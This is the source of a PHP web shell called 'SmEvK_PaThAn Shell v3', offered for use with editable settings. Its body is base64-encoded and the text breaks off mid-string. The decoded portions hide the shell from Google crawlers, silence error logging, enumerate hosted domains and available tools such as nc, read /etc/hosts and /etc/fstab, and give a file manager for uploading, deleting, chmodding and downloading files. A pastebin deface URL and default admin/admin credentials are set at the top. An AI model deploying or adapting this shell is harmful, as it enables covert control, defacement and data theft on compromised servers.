<?php 
/*

SmEvK_PaThAn Shell v3 Coded by Kashif Khan .
https://www.facebook.com/smevkpathan
smevkpathan@gmail.com
Edit Shell according to your choice.
Domain read bypass.
Enjoy!

*/
//Make your setting here.
$deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT';  //deface url here(pastebin).
$UserName = "admin";                                      //Your UserName here.
$auth_pass = "admin";                                  //Your Password.
//Change Shell Theme here//
$color = "#8B008B";                                   //Fonts color modify here.
$Theme = '#8B008B';                                    //Change border-color accoriding to your choice.
$TabsColor = '#0E5061';                              //Change tabs color here.
#-------------------------------------------------------------------------------

?>
<?php
$smevk = "PD9waHAKCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQoKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7CiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsK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BudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKICAgICAgICAgICAgaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwogICAgICAgICAgICBzcigiJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nIiwgcGFyYW1zKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgCiAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKICAgICAgICAgICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewogICAgICAgICAgICBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgLy9hbGVydCh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IpOwogICAgICAgIGlmKCEkZG9taW5pb3MpIHsKICAgICAgICAgICAgJERvbWFpblMgPSAiL3Zhci9uYW1lZCI7CiAgICAgICAgICAgICREb21haW5vbnNlcnZlciA9IHNjYW5kaXIoJERvbWFpblMpOwogICAgICAgICAgICAkZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBAcHJlZ19tYXRjaF9hbGwoJy8uKj96b25lICIoLio/KSIgey8nLCAkZG9taW5pb3MsICRvdXQpOwogICAgICAgICAgICAkb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7CiAgICAgICAgICAgICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJGQwYyA9ICJOb3RoaW5nIGhlcmUgYnJvOigiOwogICAgfQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ25peCcgKQogICAgewogICAgICAgICR1c2VmbCA9ICcnOyAkZHdubGRyID0gJyc7CiAgICAgICAgaWYoIUBpbmlfZ2V0KCdzYWZlX21vZGUnKSkgewogICAgICAgICAgICAkdGVtcCA9IGFycmF5KCk7CiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICAgICBmb3JlYWNoKCR1c2VyZnVsIGFzICRpdGVtKSB7IGlmKHdoaWNoKCRpdGVtKSkgJHRlbXBbXT0gJGl0ZW07IH0KICAgICAgICAgICAgJHVzZWZsID0gaW1wbG9kZSgnLCAnLCR0ZW1wKTsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd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PGJyPic7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXSE9J2RlZmFjZScpIHsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmJ11bJ25hbWUnXSkpCiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21rZGlyJzoKICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCkgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgJGRoICA9IG9wZW5kaXIoJHBhdGgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtID0gJHBhdGguJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgPT0gImRpciIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgY2xvc2VkaXIoJGRoKTsKICAgICAgICAgICAgICAgICAgICBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIAogIAogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNhc2UgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkX1NFU1NJT05bJ2N3ZCddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9IGVsc2VpZigkX1NFU1NJT05bJ2FjdCddID09ICdtb3ZlJykgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpewogICAgICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGMuJHMpKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gb3BlbmRpcigkYy4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY29weSgkYy4kcywgJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9TRVNTSU9OWydjd2QnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHVuc2V0KCRfU0VTU0lPTlsnZiddKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgKCgkX1BPU1RbJ3AxJ10gPT0gJ2NvcHknKXx8KCRfUE9TVFsncDEnXSA9PSAnbW92ZScpKSApIHsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2FjdCddID0gQCRfUE9TVFsncDEnXTsKICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRrID0+ICRmKQogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXVska10gPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSBAJF9QT1NUWydjJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5tZi5wMS52YWx1ZT0iIjtkb2N1bWVudC5tZi5wMi52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgfQoKICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CiAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuOyAgICB9CiAgICBnbG9iYWwgJHNvcnQ7CiAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQogICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwogICAgfQogICAgZWNobyAnPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzYSgpIHsKICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKysp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gJGxpbmtzID0gYXJyYXkoKTsKICAgICRuID0gY291bnQoJGRpckNvbnRlbnQpOwogICAgZm9yKCRpPTA7JGk8JG47JGkrKykgewogICAgICAgICRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKSwKICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSkKICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CiAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAkbGlua3NbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycpKTsKICAgICAgICBlbHNlaWYoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKICAgICAgICAgICAgJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwogICAgfQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwogICAgZnVuY3Rpb24gY21wKCRhLCAkYikgewogICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQogICAgICAgICAgICByZXR1cm4gc3RyY21wKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dLCAkYlskR0xPQkFMU1snc29ydCddWzBdXSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwogICAgfQogICAgdXNvcnQoJGZpbGVzLCAiY21wIik7CiAgICB1c29ydCgkZGlycywgImNtcCIpOwogICAgdXNvcnQoJGxpbmtzLCAiY21wIik7CiAgICAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGxpbmtzLCAkZmlsZXMpOwogICAgJGwgPSAwOwogICAgZm9yZWFjaCgkZmlsZXMgYXMgJGYpIHsKICAgICAgICBlY2hvICc8dHInLigkbD8nIGNsYXNzPWwxJzonJykuJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJy51cmxl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ICAgICAgJF9QT1NUWydwMSddID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CiAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgaWYoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIi4kdHlwZSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkKICAgICAgICAgICAgICAgICAgICBlY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZihpc19kaXIoJF9QT1NUWydwMSddKSAmJiBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7CiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9T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sb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICB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AgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAg